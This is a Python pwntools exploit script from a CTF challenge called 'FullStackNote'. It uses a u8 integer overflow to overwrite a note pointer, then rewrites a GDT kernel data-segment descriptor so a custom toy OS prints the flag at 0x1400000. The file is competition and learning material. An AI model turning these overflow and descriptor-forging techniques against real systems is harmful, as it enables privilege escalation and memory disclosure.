hod24-ctf/FullStackNote/exploit.py

121 lines
3.1 KiB
Python
Executable file

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./sss.elf
from pwn import *
# Challange description:
#
# BIOS + OS + APP to take a note and.... segmented!
# Can you get the flag at 0x1400000 ???
# Set up pwntools for the correct architecture
#
exe = context.binary = ELF(args.EXE or './sss.elf')
context.log_level = 'debug'
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x1000)
# RWX: Has RWX segments
# Stripped: No
# Debuginfo: Yes
def create_seg_descriptor(base, limi):
seg = p16((limi >> 12) & 0xffff) #limit low
seg += p16(base & 0xffff) #base low
seg += p8((base >> 16) & 0xff) #base mid
stype = 2
s = 1
dpl = 0
p = 1
seg += p8(stype | (s << 4) | (dpl << 5) | (p << 7)) #flags
g = 1
db = 1
seg += p8(limi >> 16 & 0xf | g << 7 | db << 6) #flags
seg += p8(base >> 24) #base high
return seg
gdt = 0x1000000
kds_base = 0x1000000
utok_add = 0x100000
bytes_read = 127
ucs_off = 0x10
buf_read = 0x4f2c
flag_pos = 0x1400000
retaddr = 0x4e90
ds_base = 0x4ef4 + 0x1100000 - retaddr
#io = start()
#io = process('./run.sh')
io = remote('localhost', 1337)
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
io.sendline('D'*98)
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
io.sendline('B'*98)
# integer overflow on
# u8 new_size;
# ...
# ...
#
# bytes_read = userspace_read(buf, sizeof(buf));
# new_size = notebook.used + bytes_read;
# new_size
#
# will overwrite my_notebook.ptr
io.recvuntil('>')
io.sendline('1')
io.recvuntil('note?')
# overwrite my_notebook.ptr so that, accessed in kernel (so with ds = 0x10) and
# offset to translate from kernel to user macro (APP_ADDR_TO_KERNEL_ADDR),
# points to the gdt kernel data segment. Overwite the gdt so that kernel data
# segment so that when printing my_notebook.data the address will point to
# 0x1400000 (flag position, printing the flag)
val = gdt - kds_base - utok_add - bytes_read + ucs_off
if (val < 0):
val = val + 2**32
io.send('CCCC')
io.send(p32(val))
io.sendline(cyclic(119))
io.recvuntil('>')
io.sendline('3')
io.recvuntil('remarks')
kds = create_seg_descriptor(flag_pos - 0x100000 - buf_read, 0xffffffff)
io.sendline(kds)
io.interactive()